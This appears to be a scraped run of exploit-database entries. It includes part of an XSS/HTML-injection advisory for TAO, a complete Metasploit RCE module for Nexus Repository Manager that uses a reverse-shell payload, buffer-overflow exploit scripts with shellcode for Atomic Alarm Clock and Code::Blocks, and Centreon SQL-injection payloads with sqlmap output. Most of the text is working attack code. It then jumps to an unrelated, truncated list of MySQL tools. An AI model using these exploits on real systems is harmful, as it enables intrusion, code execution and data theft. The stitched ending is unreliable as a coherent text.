vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the application and open the ui
2. Move on top right to the user button and click manage users
3. Inject html script code payload into the vulnerable input fields
4. Save the entry
5. Open to the manage users listing
Note: The payloads executes in the table that shows the user account
values for admins
6. Successful reproduce of the html inject vulnerability!


PoC: Vulnerable Source (Manage Users)
<th class="actions">Actions</th>
</tr></thead>
<tbody>
<tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539">
<td class="login"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="firstname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="lastname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="email"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="roles">Test Taker</td>
<td class="guiLg">German</td>
<td class="status"><span class="icon-result-ok"></span> enabled</td>


--- PoC Session Logs (POST) ---
http://localhost:89/tao/Users/edit
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1393
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=users&ext=tao&section=edit_user
Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj;
tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004
user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_
rdf-schema_3_label=<img
src="https://www.evolution-sec.com/evosec-logo.png">&id=http://localhost/tao.rdf#i1586957152301539
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img
src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca&
http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole&
classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539
&password2=<img src="https://www.evolution-sec.com/evosec-logo.png">
&password3=<img src="https://www.evolution-sec.com/evosec-logo.png">
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


Reference(s):
http://localhost:89/tao/Users/edit
http://localhost:89/tao/Main/index



1.2
The persistent cross site scripting web vulnerability can be exploited
by remote attackers with privileged user account with low user interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open and login to the tao application
2. Move into the test module on top
3. Add new Rubric Block
4. Inject script code test payload into the text label content input field
5. Save the entry and move on the right site to activate
6. The click on activate includes and executes the content immediatly
7. Succesful reproduce of the cross site scripting vulnerability!


PoC: Vulnerable Source
<div class="rubricblock-content"><div>asd>"><span
data-serial="img_l9lmylhuv8hf55xo9z264n"
class="widget-box widget-inline widget-img" data-qti-class="img"
contenteditable="false">
<img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img"
src="" alt="" style=""
width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3"
data-qti-class="img" src="evil.source" alt="" style="">&nbsp;
>"<script>alert(document.cookie)></script></div></iframe></div></div>
</li></ol>


PoC: Payload
"<script>alert(document.cookie)></script>


--- PoC Session Logs [POST] ---
http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9664
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI
Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[],
"timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false,
"validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":true,
"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[],
"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,
"validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses":
false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true,
"timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef",
"href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},
{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[],
"templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl
":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories"
:[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[],
"index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":
"http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6",
"required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>",
"xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"},
"class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No
outcome processing.
Erase the existing rules, if
any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}}
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: frame-ancestors 'self'
Content-Length: 14
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
-
http://localhost:89/tao/Main/evil.source
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 169
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


Security Risk:
==============
1.1
The security risk of the html inject web vulnerability in the
web-application is estimated as medium.

1.2
The security risk of the persistent cross site scripting web
vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nexus Repository Manager Java EL Injection RCE',
      'Description'     => %q{
        This module exploits a Java Expression Language (EL) injection in Nexus
        Repository Manager versions up to and including 3.21.1 to execute code
        as the Nexus user.

        This is a post-authentication vulnerability, so credentials are required
        to exploit the bug. Any user regardless of privilege level may be used.

        Tested against 3.21.1-01.
      },
      'Author'          => [
        'Alvaro Muñoz', # Discovery
        'wvu'           # Module
      ],
      'References'      => [
        ['CVE', '2020-10199'],
        ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
        ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
      ],
      'DisclosureDate'  => '2020-03-31', # Vendor advisory
      'License'         => MSF_LICENSE,
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Privileged'      => false,
      'Targets'         => [['Nexus Repository Manager <= 3.21.1', {}]],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
      'CmdStagerFlavor' => %i[curl wget],
      'Notes'           => {
        'Stability'     => [CRASH_SAFE],
        'Reliability'   => [REPEATABLE_SESSION],
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME',  [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD',  [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie:   login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path,
                                    '/service/rapture/session'),
      'vars_post'  => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial'    => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to login request')
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path,
                                '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent'  => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype'  => 'application/json',
      'data'   => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to payload request')
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name'                          => 'internal',
      'online'                        => true,
      'storage'                       => {
        'blobStoreName'               => 'default',
        'strictContentTypeValidation' => true
      },
      'group'                         => {
        # XXX: memberNames has to be an array, but the API example was a string
        'memberNames'                 => [el_payload(cmd)]
      }
    }.to_json
  end

  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
    # HACK: Format our EL expression nicely and then strip introduced whitespace
    el = <<~EOF.gsub(/\s+/, '')
      ${
        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
          "".getClass().forName("java.lang.Runtime")
        ).exec("PATCH_ME")
      }
    EOF

    # Patch in our command, escaping any double quotes
    el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end

end
            
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-17
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/ataclock.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Atomic Alarm Clock 6.3 beta
# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer

File    = 'poc.txt'

os_nSEH = '\x41'*(461)
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\x47\x47'   # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] 
#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False 

getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
## 2nd byte - \x00 => \x5F
venBlinds   = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'         
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66\x72\x40\x72\x40\x72'         
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42\x72\x40\x72\x40\x72'         
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32\x72\x40\x72\x40\x72'         
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F\x72\x40\x72\x40\x72'         
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F\x72\x40\x72\x40\x72'         
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49\x72\x40\x72\x40\x72'         
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED\x72\x40\x72\x40\x72'         
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3\x72\x40\x72'         
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'

gExpotTbl  = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'

fWinExec   = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'

# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'
            
# Exploit Title: Centreon 19.10.5 - 'id' SQL Injection
# Date: 2020-04-19
# Exploit Author: Basim alabdullah
# Vendor Homepage: https://www.centreon.com
# Software Link: https://download.centreon.com/
# Version: v.19.10.5
# Tested on: Centos 5


[EXECUTIVE SUMMARY]

 Centreon has come a long way from its early roots. A user-friendly monitoring console on Nagios before, Centreon is today, a rich monitoring platform powered by Centreon Engine, Centreon Broker and Centreon Web.

 Monitoring-savvy IT practitioners who want Nagios-inspired flexibility without its complexity, easily embrace Centreon for robust infrastructure systems and network performance monitoring.
 Downloaded by hundreds and thousands of IT professionals worldwide.
 The analysis discovered a time-based blind SQL
 injection vulnerability in the tracker functionality of
 Centreon Monitoring software. A malicious user can inject arbitrary
 SQL commands to the application. The vulnerability lies in the project tracker
 service search functionality; depending on project visibility successful
 exploitation may require user authentication. A successful attack
 can read, modify or delete data from the database or execute arbitrary commands on the underlying system.

[VULNERABLE VERSIONS]

 The following version of the Centreon Monitoring was affected by the
 vulnerability; previous versions may be vulnerable as well:
 - Centreon version 19.10.5
 
 
[Proof of Concept]
 
 http://TARGET/centreon/include/monitoring/acknowlegement/xml/broker/makeXMLForAck.php?hid=15&svc_id=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7176706b71%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716b716b71%29%2CNULL%2CNULL%23
 
 
 [Payloads]
 
  Parameter: svc_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: hid=15&svc_id=1 OR NOT 5782=5782

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: hid=15&svc_id=1 AND (SELECT 1615 FROM (SELECT(SLEEP(5)))TRPy)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: hid=15&svc_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706b71,0x724b66756a476759544f48716d61496b5a68754a4c6f42634e6e775272724c44616e567355527a6f,0x716b716b71),NULL,NULL#
---
[12:24:35] [INFO] testing MySQL
[12:24:35] [INFO] confirming MySQL
[12:24:35] [INFO] the back-end DBMS is MySQL
[12:24:35] [INFO] fetching banner
web server operating system: Linux Red Hat
web application technology: Apache 2.4.34, PHP 7.2.24
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.1.38-MariaDB'
[12:24:35] [INFO] fetching database names
[12:24:35] [INFO] starting 4 threads
[12:24:35] [INFO] resumed: 'centreon'
[12:24:35] [INFO] resumed: 'test'
[12:24:35] [INFO] resumed: 'centreon_storage'
[12:24:35] [INFO] resumed: 'information_schema'
available databases [4]:                                                                                                                                                               
[*] centreon
[*] centreon_storage
[*] information_schema
[*] test
            
# Exploit Title: Code Blocks 16.01 - Buffer Overflow (SEH) UNICODE
# Date: 2020-04-17
# Exploit Author: T3jv1l
# Software Link: https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Windows/codeblocks-16.01-setup.exe
# Software version: 16.01


buffer="A"*536	#buffer
buffer+="\x61\x41"	#POPAD + Aligned
buffer+="\xF2\x41"	#POP/POP/RET

#----------------------Align the eax to point to the shellcode PART -----------------------
#buffer+="\x90"	#NOP
#buffer+="\x6e"	#venetian padding
#buffer+="\x05\x37\x13"	#add eax, 0x13003700
#buffer+="\x6e"
#buffer+="\x2d\x36\x13"	#sub eax, 0x13003600
#buffer+="\x6e"	#venetian padding
#buffer+="\x50"	#push eax
#buffer+="\x6e"	#Venetian padding
#buffer+="\xc3"	#ret

#----------------------Shellcode PlaceHOLDER ----------------------------------------------
#uffer+="\x90"*111
#buffer+=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIX52KPKPM01PDIJEP1Y0QT4KPPNPTK1BLLTK1BMDDKSBNHLO6WPJNFNQKOVLOLC13LM2NLO07QXOLMKQ7WJBZR220WDKQBN0TKOZOLTKPLN1T8ZCOXKQZ10QTKQIMPKQXSTKOYLXISOJ19TKNTTKM1XV01KOFL7Q8OLMKQGW08YPD5L6KSSMJXOKSMMTBU9TPXDKR8MTKQYCRF4KLLPKTKPXMLKQJ3TKKTDKKQZ0E9OTMTO4QK1K1Q291JPQKO9PQOQOQJTKN2JKDM1MRJKQ4M3UGBKPM0M0R0RHNQTKRO4GKOXUWKL0VU6BPVQXVFDU7MUMKO9EOLM63LLJE0KKYP2UM5WKOWN3T2RORJKP1CKOJ5BCS1RL33NNS5RX2EKPA")
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\x90"*(5000-len(buffer))
f=open('exploit.m3u','w');
f.write(buffer);
f.close();
print "[+] File created."
            

MySQL has many management and maintenance tools. In addition to the command line management tools included in the system, there are many other graphical management tools. It is one aspect that the tools are easy to use, and personal usage habits are also very important. Here are 11 MySQL graphical management tools for your reference.

1. DBeaver

DBeaver is a Java-based, free and open source universal database management and development tool that uses very friendly ASL protocols. It can run on various operating systems, including: Windows, Linux, macOS, etc. DBeaver is developed using the Eclipse framework, supports plug-in extensions, and provides many database management tools: ER diagrams, data import/export, database comparison, simulated data generation, etc. It can support almost all database products, including: MySQL, PostgreSQL, MariaDB, SQLite, Oracle, Db2, SQL Server, Sybase, MS Access, Teradata, Firebird, Derby, etc.

2. DataGrip

DataGrip is a multi-engine database environment released by JetBrains, supporting MySQL and PostgreSQL, Microsoft SQL Server and Oracle, Sybase, DB2, SQLite, and HyperSQL, Apache Derby

3.phpMyAdmin

